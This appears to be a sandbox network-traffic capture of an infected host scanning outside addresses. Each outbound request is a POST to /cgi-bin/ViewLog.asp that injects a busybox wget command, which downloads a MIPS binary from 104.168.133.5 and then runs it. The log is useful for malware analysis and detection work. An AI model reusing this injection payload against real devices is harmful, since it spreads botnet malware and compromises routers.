Nov 23, 2023 05:17:20.934324026 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:57.798214912 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
325	192.168.2.13	35346	94.120.244.92	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:44.956670046 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
326	192.168.2.13	48182	94.122.95.195	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:44.961041927 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
327	192.168.2.13	50056	94.120.32.97	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:44.965996981 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
328	192.168.2.13	60518	62.104.101.59	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:45.797724009 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:46.002746105 CET	287	IN	HTTP/1.1 400 Bad Request Content-type: text/html Date: Thu, 23 Nov 2023 05:16:45 GMT Last-modified: Thu, 23 Nov 2023 05:16:45 GMT Server: GIANTS Dedicated Server GIANTS Dedicated Server/9.2.0.0 Content-Length: 58

Session ID	Source IP	Source Port	Destination IP	Destination Port
329	192.168.2.13	60546	62.104.101.59	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:46.192322969 CET	287	IN	HTTP/1.1 400 Bad Request Content-type: text/html Date: Thu, 23 Nov 2023 05:16:46 GMT Last-modified: Thu, 23 Nov 2023 05:16:46 GMT Server: GIANTS Dedicated Server GIANTS Dedicated Server/9.2.0.0 Content-Length: 58

Session ID	Source IP	Source Port	Destination IP	Destination Port
330	192.168.2.13	45438	85.221.231.102	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:46.204039097 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:46.426894903 CET	285	IN	HTTP/1.0 404 Not Found Content-type: text/html Date: Fri, 03 Apr 1970 19:48:25 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>404 Not Found</H1>The requested URL was not found</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
331	192.168.2.13	53022	62.150.151.244	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:46.278460026 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:46.562297106 CET	367	IN	HTTP/1.1 403 Forbidden Content-Type: text/html; charset=utf-8 Content-Length: 106 Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
332	192.168.2.13	45442	85.221.231.102	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:46.669624090 CET	278	IN	HTTP/1.0 400 Bad Request Content-type: text/html Date: Fri, 03 Apr 1970 19:48:25 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 55 6e 73 75 70 70 6f 72 74 65 64 20 6d 65 74 68 6f 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>400 Bad Request</H1>Unsupported method</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
333	192.168.2.13	48090	62.245.72.71	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:46.825052977 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
334	192.168.2.13	52838	31.136.89.147	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:47.008106947 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:47.590413094 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:48.710479975 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:50.982414007 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:55.590447903 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:04.550479889 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:22.982353926 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:59.846214056 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
335	192.168.2.13	37862	31.136.156.105	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:47.008485079 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:47.590413094 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:48.710494995 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:50.982413054 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:55.590447903 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:04.550479889 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:22.982353926 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:59.846214056 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * 